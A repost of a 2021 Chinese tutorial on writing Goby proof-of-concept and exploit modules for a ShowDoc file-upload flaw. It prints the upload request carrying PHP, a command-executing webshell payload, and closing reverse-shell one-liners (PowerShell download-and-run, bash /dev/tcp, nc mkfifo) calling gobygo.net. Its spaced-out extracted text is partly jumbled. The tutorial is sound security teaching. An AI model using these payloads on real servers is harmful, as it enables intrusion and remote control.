搜索

[17852] 2021-06-29_技术分享记一次不停自我追问的学习（上）——漫漫PoC之路

文档创建者：s7ckTeam
浏览次数：25
最后更新：2025-01-18
2021-06-29_技术分享记一次不停自我追问的学习（上）——漫漫PoC之路 技 术 分 享   |   记 一 次 不 停 自 我 追 问 的 学 习 （ 上 ） — —   漫 漫 P o C 之 路 原 创   C o r p 0 r a 1   G o b y S e c   2 0 2 1 - 0 6 - 2 9 G o b y 社 区 第 1 6   篇 技 术 分 享 文 章 全 文 共 ： 7 4 9 5   字       预 计 阅 读 时 间 ： 1 9   分 钟 前 言 ： 前 言 ： 上 篇 ＞ ＞ 上 篇 ＞ ＞ 一 个 文 件 上 传   1 d a y   的   P o C   编 写 ， 从 简 单 的   G U I   编 写 ， 不 满 足 于 是 选 择 用   G o   语 言 编 写 ， 再 到 逐 个 使 用   G o b y   自 带   A P I   优 化   P o C ， 最 终 实 现 一 键 反 弹   s h e l l 。 不 仅 学 习 了   G o ， 也 对   E X P   进 一 步 的 完 善 。 下 篇 ＞ ＞ 代 码 审 计 ， 从 一 个 为 什 么 产 生 出 发 ， 不 断 地 问 自 己 问 题 ， 虽 然 是 一 次 简 单 的 代 审 ， 延 伸 出 一 次 溯 源 ， 最 后 的 收 获 远 不 止 一 次 代 码 审 计 ， 而 是 学 习 方 法 ！   0 1 准 备 工 作 准 备 工 作 1 . 1   漏 洞 速 览 漏 洞 速 览
漏 洞 描 述 ： S h o w d o c   存 在 文 件 上 传 漏 洞 ， 攻 击 者 可 以 利 用 漏 洞 获 取 服 务 器 权 限 。 漏 洞 影 响 ： S h o w D o c   <   V 2 . 8 . 3 漏 洞 参 考 ： h t t p s : / / w w w . c n v d . o r g . c n / f l a w / s h o w / C N V D - 2 0 2 0 - 2 6 5 8 5 1 . 2   环 境 搭 建 环 境 搭 建 系 统 ： W i n d o w s 1 0 工 具 ： P H P S t u d y 2 0 1 6 ， V S c o d e ， G o b y ， B u r p 环 境 ： s h o w d o c - V 2 . 6 . 7     h t t p s : / / g i t h u b . c o m / s t a r 7 t h / s h o w d o c 1 . 3   P o C 1 . 4   复 现 复 现   0 2 利 用 利 用   G o b y   的 的   G U I   编 写 编 写   P o C & E X P 2 . 1   编 写 编 写   P o C 2 . 1 . 1   填 入 基 本 内 容 填 入 基 本 内 容 可 以 手 动 输 入 ， 但 是 由 于 该 漏 洞 有   C N V D   编 号 ， 于 是 考 虑 从 命 令 行 导 入 已 知   B U G ： P O S T   / i n d e x . p h p ? s = / h o m e / p a g e / u p l o a d I m g   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 : 8 1 C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - - - - - - - - - - - - - - - - - - - - - - - - 3 4 6 0 3 1 0 6 5 7 1 9 0 2 7 7 2 4 7 0 3 3 2 9 9 5 2 9 5 2 C o n t e n t - L e n g t h :   2 5 2 C o n n e c t i o n :   c l o s e - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 3 4 6 0 3 1 0 6 5 7 1 9 0 2 7 7 2 4 7 0 3 3 2 9 9 5 2 9 5 2 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " e d i t o r m d - i m a g e - f i l e " ;   f i l e n a m e = " 1 . < > p h p " C o n t e n t - T y p e :   t e x t / p l a i n < ? p h p   p h p i n f o ( ) ; ? > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 3 4 6 0 3 1 0 6 5 7 1 9 0 2 7 7 2 4 7 0 3 3 2 9 9 5 2 9 5 2 - - / / 在 g o b y 的 g o l i b 目 录 下 的 g o b y - c m d 文 件 ， 也 可 以 - h 解 锁 更 多 操 作 g o b y - c m d   - m o d e   g e n p o c   - C N V D I D   C N V D - 2 0 2 0 - 2 6 5 8 5   - e x p o r t F i l e   e x p l o i t s u s e r C N V D - e x p o r t . g o / / 导 出 文 件 在 g o b y 的 g o l i b e x p l o i t s u s e r 目 录 下
1 .   通 过 命 令 行 导 出 的 文 件 需 要 手 动 加 上 指 纹 ： ， 才 可 以 导 入 进   G o b y ， 不 然 导 入 不 进 去 ， 会 报 错 （ 在   l o g   中 可 以 看 到 报 错 信 息 ） 2 .   通 过 命 令 行 导 出 的 文 件 导 入   P o C   时 ， 测 试 界 面 会 出 现 白 屏   b u g ， 因 为   S c a n S t e p s   中 缺 少   字 段 ， 添 加 即 可 。 不 想 拘 泥 于 手 动 ， 虽 然 导 入 遇 到 了 不 少 的 麻 烦 ， 但 是 总 归 是 需 要 尝 试 的 ， 相 信 后 续   G o b y   团 队 会 改 进 的 。 2 . 1 . 2   发 出 请 求 发 出 请 求 简 单 的 将   P o C   内 容 复 制 粘 贴 进 对 应 字 段 即 可 2 . 1 . 3   验 证 响 应 验 证 响 应 参 考   G o b y 《 P o C   w r i t i n g   s u g g e s t i o n s 》 h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / P o C - w r i t i n g - s u g g e s t i o n s   中 的 准 确 性 ： 增 加 检 测 关 键 字 、 特 殊 符 号 、 响 应 包 中 独 一 无 二 的 特 征 ， 以 提 高 其 准 确 性 。 2 . 1 . 4   编 写 编 写   P o C   的 的   T i p s 1 .   修 改   P o C   之 后 记 得 保 存 后 ， 再 进 行 单   I P   测 试 2 .   由 于   G o b y   可 能 因 为 缓 存 等 机 制 ， 导 致 修 改   P o C   并 保 存 之 后 ， 即 使 发 包 也 是 未 修 改 之 前 的 包 ， 需 要 返 回 漏 洞 管 理 界 面 再 重 新 载 入   P o C 3 .   由 于 上 述 载 入 载 出 步 骤 较 为 麻 烦 ， 我 采 用   G o b y   脚 手 架 的 方 式 ， 在   V S C o d e   修 改 代 码 的 同 时 在   C M D   中 测 试 ： " G o b y Q u e r y " :   " a p p = " s h o w D o c " " " S e t V a r i a b l e " :   [ ]   g o b y - c m d   - m o d e   r u n p o c   - o p e r a t i o n   s c a n   - p o c F i l e   e x p l o i t s u s e r a . g o   - t a r g e t   1 2 7 . 0 . 0 . 1
G o b y   脚 手 架 可 参 考 ： h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e 4 .   脚 手 架 的 方 式 不 支 持   b u r p   代 理 调 试 。 如 果 需 要 对   P o C   进 行 代 理 调 试 的 话 ， 推 荐 依 然 使 用   G U I   的 方 法 ， 详 见   @ H u a i N i a n   师 傅 的 《 J s o n   编 写   P o C & E X P   遇 到 的 那 些 坑 》 2 . 2   编 写 编 写   E X P 总 体 思 路 同 上   P o C   的 问 题 ， 只 不 过 将 上 传 的 验 证 性 文 件 切 换 为 一 句 话 、 菜 刀 等 类 型 木 马 文 件 ， 然 后 在 浏 览 器 中 访 问 对 应 连 接 即 可 。 仔 细 查 看 官 方 文 档 的   E X P   部 分   ， 实 际 操 作 步 骤 如 下 ： h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e # e x p - % E 7 % B C % 9 6 % E 5 % 8 6 % 9 9 1 .   将 字 段 设 置 为   t r u e 2 .   在   P o C   界 面 编 写   E X P   后 ， 在 编 辑 器 中 将 对 应 代 码 复 制 粘 贴 到   3 .   上 传 文 件 内 容 更 改 为 冰 蝎 马 4 .   直 接 将 返 回 的 链 接 扔 到 冰 蝎 里 面 链 接 即 可 。 上 传 一 句 话 木 马 同 理 已 知 问 题 ： 1 .   G o b y   G U I   目 前 暂 不 支 持   E X P   用   G U I   编 写 ， 借 用   P o C   界 面 编 写 后 ， 在 编 辑 器 中 将 对 应 代 码 复 制 粘 贴 到   2 .   抓 包 问 题 ： p c a p   模 式 扫 描   1 2 7 . 0 . 0 . 1   无   I P   存 活 ， 但 是   s o c k e t   模 式 下 可 以 扫   1 2 7 . 0 . 0 . 1 2 . 3   进 一 步 优 化 进 一 步 优 化   P O C & E X P 2 . 2 . 1   自 动 删 除 上 传 文 件 自 动 删 除 上 传 文 件 H a s E x p S c a n S t e p s E x p l o i t S t e p s S c a n S t e p s E x p l o i t S t e p s
在 公 网 测 试 的 时 候 ， 发 现 一 个 很 不 好 的 现 象 ： 某 站 点 上 存 在 大 量 这 类 一 句 话 木 马 。 参 考   G o b y 《 P o C   w r i t i n g   s u g g e s t i o n s 》 :   h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / P o C - w r i t i n g - s u g g e s t i o n s   的 无 害 性 ： 我 们 需 要 将 上 传 的 文 件 进 行 删 除 。 虽 然 第 一 次 第 二 次 很 麻 烦 ， 但 是 优 秀 是 需 要 形 成 习 惯 的 。 问 题 ： 1 .   如 何 删 除 上 传 文 件 ？ P H P   中 可 以 利 用 函 数 来 删 除 文 件 2 .   如 何 触 发 函 数 ？ 连 续 发 出 两 次 请 求 。 第 一 次 请 求 用 于 上 传 文 件 ， 第 二 次 请 求 用 于 触 发 函 数 删 除 文 件 3 .   如 何 获 取 第 二 次 请 求 的 链 接 ？ 第 一 次 的 返 回 包 中 有 返 回 绝 对 路 径 ， 且   G o b y   可 以 基 于 正 则 提 取 第 一 次 请 求 的 响 应 ， 并 在 第 二 次 利 用 。 详 见   G o b y 《 P O C 编 写 指 南 之 J S O N   录 入 漏 洞 逻 辑 手 册 》 ： h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e 4 .   如 何 编 写 正 则 ？ 先 百 度 正 则 语 法 ， 再 用 r e g e x 1 0 1 平 台 进 行 测 试 5 .   如 何 去 掉 链 接 / 这 些 符 号 ？ 化 繁 为 简 ， 分 析 文 件 路 径 组 成 ： H o s t i n f o + P u b l i c / U p l o a d s + 日 期 + 随 机 文 件 名 ， 后 两 个 变 量 分 两 次 正 则 提 取 ， 然 后 整 体 拼 接 即 可 问 题 解 决 了 ， 步 骤 自 然 清 晰 ： 1 .   在 上 传 的 文 件 末 尾 增 加 函 数 2 .   在 第 一 次 请 求 的 正 则 部 分 增 加 自 定 义 变 量 和 3 .   在   G o b y   中 添 加 第 二 次 请 求 的   U R L   中 使 用 这 两 个 变 量 4 .   如 果 第 二 次 响 应 为 2 0 0 即 可 算 作 成 功 u n l i n k ( ) u n l i n k ( ) u n l i n k ( ) u n l i n k ( ) d a t e f i l e / P u b l i c / U p l o a d s / { { { d a t e } } } / { { { f i l e } } }
2 . 2 . 2   提 高 提 高   P o C   的 准 确 性 的 准 确 性 问 题 ： 既 然 可 以 发 出 第 二 次 请 求 ， 不 仅 可 以 触 发 函 数 ， 是 否 可 以 考 虑 增 加 一 些 操 作 进 一 步 提 高   P o C   的 准 确 性 ？ 思 路 ： 在   p h p   文 件 中   e c h o   一 段 随 机 数 ， 然 后 第 二 次 请 求 在 响 应 判 断 的 时 候 ， 不 仅 只 是 判 断 响 应 为   2 0 0 ， 也 匹 配 是 否 这 段 随 机 数 ？ 问 题 解 决 了 ， 步 骤 自 然 清 晰 。 虽 然 第 一 次 返 回 匹 配 到 s u c c e s s 等 字 段 即 可 验 证   P o C   成 功 ， 第 二 步   e c h o   再 一 下 有 些 多 余 ， 但 是 我 想 以 后 某 个 地 方 会 用 的 ， 先 学 着 。 已 知 问 题 ： 由 于 目 前   G o b y   G U I   并 不 支 持 随 机 数 ， 所 以 只 能 手 动 输 入 一 个 固 定 数 然 后 进 行 判 断 。 ( G o b y   团 队 后 续 会 在   G U I   中 增 加 随 机 数 选 项 ) 2 . 2 . 3   优 化 一 句 话 木 马 优 化 一 句 话 木 马 新 需 求 ： 新 需 求 ： 上 传 冰 蝎 类 的 马 简 单 ， 上 传 一 句 话 木 马 类 似 ， 但 是 之 前 的 方 式 需 要 在 浏 览 器 或 冰 蝎 中 打 开 链 接 进 行 操 作 ， 有 些 繁 琐 。 针 对 一 句 话 木 马 如 果 只 想 在   G o b y G U I   中 操 作 ， 不 需 要 新 打 开 浏 览 器 中 转 ， 肯 定 更 优 雅 更 简 洁 ， 那 么 如 何 操 作 ？ 需 求 拆 解 ： 需 求 拆 解 ： 实 现 动 态 一 句 话 木 马 ： ①   在 木 马 文 件 中 动 态 插 入 一 句 话 命 令 ;   ②   触 发 木 马 文 件 并 获 取 返 回 值 u n l i n k ( ) e c h o
问 题 ： 1 .   如 何 在 上 传 文 件 中 动 态 插 入 参 数 ？ 查 看 文 档 后 发 现 ： G o b y   提 供 字 段 来 让 用 户 自 定 义 所 需 传 递 参 数 ， 且 和 自 定 义 参 数 逻 辑 一 样 ， 包 裹 即 可 在 j s o n 任 意 位 置 使 用 该 变 量 ， 比 如 , 即 可 实 现 一 句 话 木 马 的 操 作 2 .   如 何 触 发 木 马 并 返 回 值 ？ 和 前 面 类 似 ， 发 送 二 次 请 求 即 可 T r i c k ： 1 .   G o b y   发 包 逻 辑 是 每 次 先   P O C   后   E X P ， 更 改   E X P   后 又 要 重 新 走 一 遍 扫 描 流 程 ， 很 麻 烦 ， 有 其 他 直 接 验 证   E X P   的 操 作 吗 ？ G o b y - c m d . e x e   脚 手 架 中 不 仅 提 供   s c a n   操 作 ， 也 提 供   e x p l o i t   操 作 ， 且   e x p l o i t   操 作 支 持 参 数 。 2 .   输 入 命 令 即 可 直 接 验 证 E X P 。 3 .   在   c m d   模 式 下 验 证   E X P   无 误 ， 切 换 到   G U I   界 面 进 行 扫 描 ， E X P   验 证 成 功 ！ 已 知   B U G ： 1 .   发 包   B U G ： 在   j s o n   编 写   E X P   需 要 连 续 发 两 个 包 的 情 况 下 ， 即 使 内 容 编 写 正 确 的 情 况 下 依 然 可 能 会 检 测 失 败 。 需 要 在   E x p l o i t S t e p s   的 第 一 个 请 求 的 键 中 额 外 加 入 值 ， 才 会 成 功 执 行 第 二 个 请 求 ， 进 而 检 测 成 功 。 （ 前 面 《 自 动 删 除 上 传 文 件 》 部 分 用 的 仅 仅 只 有   P o C ， 没 用 到   E X P   这 一 步 ， 所 以 未 产 生   B U G ） 2 .   系 统 差 异   B U G ： w i n d o w s   下   c m d 中 使 用   参 数 会 报 错   ， 改 为 即 可 E x p P a r a m s { { { } } } < ? p h p   s y s t e m ( " { { { c m d } } } " ) ; u n l i n k ( ) ;   ? > - p a r a m s   ' { " c m d " : " w h o a m i " } ' g o b y - c m d   - m o d e   r u n p o c   - o p e r a t i o n   e x p l o i t   - p o c F i l e   e x p l o i t s u s e r a . g o   - t a r g e t   1 2 7 . 0 . 0 . 1   - p a r a m s   " { " c m d " : " w h o a m i " } " S e t V a r i a b l e " o u t p u t | l a s t b o d y " - p a r a m s   ' { " c m d " : " w h o a m i " } ' i n v a l i d   c h a r a c t e r   ' ' '   l o o k i n g   f o r   b e g i n n i n g   o f   v a l u e " { " c m d " : " w h o a m i " } "
  0 3 学 习 用 学 习 用   G o   语 言 编 写 语 言 编 写   G o b y   的 的   P o C 3 . 1   迈 出 第 一 步 ： 用 迈 出 第 一 步 ： 用   G O   编 写 编 写   P o C 使 用   G U I   时 遇 到 的 痛 点 1 .   部 分 功 能 缺 失 ： 无 法 使 用 随 机 数 2 .   缺 少   D I Y   需 求 ： 对 于 返 回 的 这 类 链 接 无 法 直 接 使 用 ， 需 要 手 动 剔 除 转 移 符 号 3 .   黑 盒 的 未 知 性 ： 单 纯 看   j s o n   并 不 能 掌 控   P o C   后 续 是 怎 么 被 载 入 和 利 用 的 ， 没 有   G o   代 码 看 起 来 的 直 观 可 控 4 .   B U G ： 不 少   b u g   是 因 为   j s o n   中 缺 少 某 个 键 值 ， 但 是 判 断 又 很 难 判 断 ， 而   G o   代 码 更 加 可 控 。 困 难 ： 1 .   上 述   P o c   难 吗 ？ 不 难 ， 不 过 是 发 出 请 求 罢 了 。 2 .   不 会   G o   语 言 怎 么 办 ？ 只 是 发 出 一 个 请 求 罢 了 ， 官 方 也 提 供 了   c o d e   d e m o ， 只 需 要 改 下   U R I   即 可 完 成 轮 子 搭 建 。 详 见   G o b y 《 V u l n e r a b i l i t y - w r i t i n g - g u i d e 》 之 g o l a n g - 代 码 录 入 漏 洞 手 册 h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e 虽 然 我 不 会   G o ， 但 是 因 为 上 面 的 痛 点 ， 还 是 想 迈 出 那 第 一 步 。 思 路 ： 1 .   化 繁 为 简 ： 先 写   P o C ， P o C   写 好 了 ， E X P   自 然 写 好 了 。 / P u b l i c / U p l o a d s / 2 0 2 1 - 0 6 - 2 4 /
2 .   根 据 官 方 的 d e m o ， 改 下 P O C 中 的 U r i ， 改 下 匹 配 的 关 键 字 3 .   测 试 即 可 具 体 不 表 ， 造 轮 子 而 已 。 3 . 2   进 一 步 ： 优 化 进 一 步 ： 优 化   P o C 3 . 2 . 1   用 用   G o   语 言 实 现 高 级 需 求 语 言 实 现 高 级 需 求 刚 才 只 是 简 单 的   r e q u e s t ， 需 要 完 成 更 高 的 需 求 ， 比 如 前 面 对 P O C 的 优 化 问 题 ： 1 .   G o   如 何 实 现 两 次 请 求 达 到 删 除 的 效 果 ？ 把 发 出 请 求 的 代 码   C o p y   一 次 ， i f   第 一 次 成 功 ， 发 出 第 二 次 请 求 ， i f   第 二 次 请 求 成 功 ， r e t u r n   t r u e 。 2 .   G o   如 何 使 用 正 则 ？ 仔 细 看 官 方 文 档 《 漏 洞 编 写 指 南 》   ， 发 现 其 使 用 了   ， 百 度 搜 用 法 ， 先 新 建   r e g e x . g o   文 件 本 地 测 试 ， 熟 悉 用 法 后 写 入   P o C   测 试 3 .   G o   如 何 拼 接 变 量 ？ 仔 细 看 官 方 文 档 《 漏 洞 编 写 指 南 》   ， 发 现 其 使 用 了   ， 百 度 搜 用 法 ， 先 新 建 f m t . g o 文 件 本 地 测 试 ， 熟 悉 用 法 后 写 入 P O C 测 试 4 .   G o   如 何 实 现 随 机 数 ？ 因 为 前 面   G U I   编 写 只 能 固 定 数 ， 存 在 被 检 测 特 征 ， 仔 细 看 官 方 文 档 《 漏 洞 编 写 指 南 》   ， 发 现 其 使 用 生 成 随 机 字 符 串 ， 将 固 定 数 替 换 为 随 机 数 变 量 即 可 5 .   G o   能 否 将 冰 蝎 上 传 后 返 回 链 接 自 动 优 化 ， 而 不 是 手 动 删 除 转 义 符 号 ？ 既 然 我 们 可 以 通 过 拼 接 和   形 成 第 二 次 请 求 的 链 接 ， 那 么 我 们 也 可 以 冰 蝎 的 输 出 的 内 容 改 为 这 个 链 接 ：   6 .   G o   能 否 进 一 步 减 少   P o C   特 征 ？ 前 面 提 及 不 少 网 上 木 马 的   k e y   为   , 此 处 也 可 以 利 用 的 方 式 随 机 生 成   k e y ， 然 后 在 第 二 次 使 用 后 删 除 该 文 件 ， 实 现 一 次 一 密 的 效 果 。 当 然 字 段 也 可 以 通 过 来 实 现 随 机 性 。 《 漏 洞 编 写 指 南 》 ： h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e 一 步 步 的 查 看 文 档 、 测 试 ， 发 现   G o   语 言 编 写   P o C & E X P   时 ， 内 容 和 行 为 更 可 控 ， 也 能 实 现 更 多 自 定 义 需 求 ， 需 要 的   G o   语 言 基 础 也 不 高 ， 个 人 觉 得 比 目 前   G U I   的   J s o n   编 写 更 加 方 便 。 （ 也 相 信 后 续   G o b y   团 队 会 改 进   G U I   并 实 现 这 些 需 求 ） r e g e x p . M u s t C o m p i l e ( ) f m t . S p r i n t f ( " % s " , v a r ） R a n d o m H e x S t r i n g ( ) d a t e f i l e e x p R e s u l t . O u t p u t   = f m t . S p r i n t f ( " % s / P u b l i c / U p l o a d s / % s / % s " ,   e x p R e s u l t . H o s t I n f o ,   d a t e [ 1 ] ,   f i l e [ 1 ] ) p e i q i R a n d o m H e x S t r i n g ( ) b o u n d a r y = - - - - - - - x x x x x R a n d o m H e x S t r i n g ( )
3 . 2 . 2   执 行 一 句 话 命 令 执 行 一 句 话 命 令 G o b y   红 队 版 本 就 是 执 行 一 句 话 回 显 命 令 ， 问 题 ： 1 .   G o b y   如 何 自 定 义 参 数 ？ 前 面 已 经 介 绍 了 ， 在   j s o n   中 的 字 段 来 让 用 户 自 定 义 所 需 传 递 参 数 2 .   G o   中 如 何 获 取 到 自 定 义 参 数 ? 查 看 文 档 发 现 ， 可 以 使 用 的 形 式 获 取 参 数 3 .   G o   中 如 何 将 自 定 义 参 数 输 入 到   p a y l o a d   中 ？ 利 用 前 面 提 及 的 方 式 3 . 2 . 3   更 进 一 步 ： 直 接 反 弹 更 进 一 步 ： 直 接 反 弹   s h e l l 想 法 ： 想 法 ： 既 然 可 以 一 句 话 木 马 ， 而 大 部 分 时 间 我 们 生 成 一 句 话 木 马 之 后 第 二 步 就 是 反 弹   s h e l l ， 那 么 为 什 么 第 二 次 不 直 接 执 行 反 弹   s h e l l ， 难 道 不 比 执 行 一 句 话 命 令 好 ？ 问 题 ： 1 .   如 何 实 现 （ 思 路 上 ） ？ 将 一 句 话 木 马 的   p a y l o d   部 分 由 自 定 义 参 数 命 令 的 方 式 直 接 改 为 反 弹 s h e l l 的 命 令 2 .   如 何 实 现 （ 实 际 操 作 ） ？ 查 看   G o b y   提 供 反 弹   s h e l l   的   d e m o   文 档 ， 然 后 魔 改 为 自 己 需 要 的 即 可 h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e # % E 5 % A 6 % 8 2 % E 4 % B D % 9 5 % E 4 % B D % B F % E 7 % 9 4 % A 8 - g o b y - % E 7 % 9 A % 8 4 - g o d s e r v e r - % E 5 % 8 F % 8 D % E 5 % B C % B 9 - s h e l l 3 .   为 什 么 可 以 反 弹   s h e l l ， 但 是 所 上 传 文 件 无 法 自 动 删 除 ， 函 数 没 触 发 ？ 因 为 先 执 行 命 令 再 执 行 函 数 ， 而 前 者 s h e l l 在 反 弹 过 程 中 堵 塞 的 进 程 ， 百 度 后 发 现 可 采 取   p o p e n ( )   启 动 子 进 程 的 方 式 。 ( 有 趣 的 是 ， 通 过 该 文 档 ， 我 了 解 到 可 以 通 过 来 判 断 服 务 器 主 机 系 统 ， 进 而 根 据 不 同 系 统 动 态 生 成   p a y l o a d   的 操 作 ) （ G o b y S h e l l   只 有   1 0   分 钟 存 活 ， 也 可 以 保 证 不 会 长 期 驻 留 服 务 器 进 程 ） 和   @ g o 0 p   师 傅 交 流 之 后 ， 我 发 现 我 的 想 法 是 错 的 ： 我 急 于 直 接 看 到 反 弹   s h e l l   的 效 果 ， 只 是 因 为 我 的 测 试 环 境 允 许 。 在 实 战 情 况 下 ， 目 标 可 能 不 出 网 ， G o d s e r v e r   服 务 器 可 能 有 一 定 的 问 题 等 等 导 致 反 弹   s h e l l 。 不 一 定 在 所 有 环 境 下 都 是   O K   的 ， 所 以 应 该 是 目 标 能 使 用 回 显 就 回 显 ， 其 次 才 是 其 他 验 证 方 式 。 参 考 《 G o b y P O C 编 写 建 议 之 其 他 建 议 》 ： h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / P o C - w r i t i n g - s u g g e s t i o n s # % E 5 % 8 5 % B 6 % E 4 % B B % 9 6 % E 5 % B B % B A % E 8 % A E % A E E x p P a r a m s s s . P a r a m s [ " c m d " ] . ( s t r i n g ) f m t . S p r i n t f ( " % s " , v a r ） u n l i n k ( ) u n l i n k ( ) p h p _ u n a m e ( ) / / G o b y 生 成 的 g o d s e r v e r 相 关 命 令 / / R e v e r s e T C P B y P o w e r s h e l l p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / g o b y g o . n e t / p s / r s . p s 1 ' ) ; r s   - H   g o b y g o . n e t   - P   3 5 3 5 5 / / R e v e r s e T C P B y B a s h b a s h   - i   > &   / d e v / t c p / g o b y g o . n e t / 3 5 3 5 5   0 > & 1 / / R e v e r s e T C P B y N c B s d r m   / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / b i n / s h   - i   2 > & 1 | n c   g o b y g o . n e t   3 5 3 5 5   > / t m p / f
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理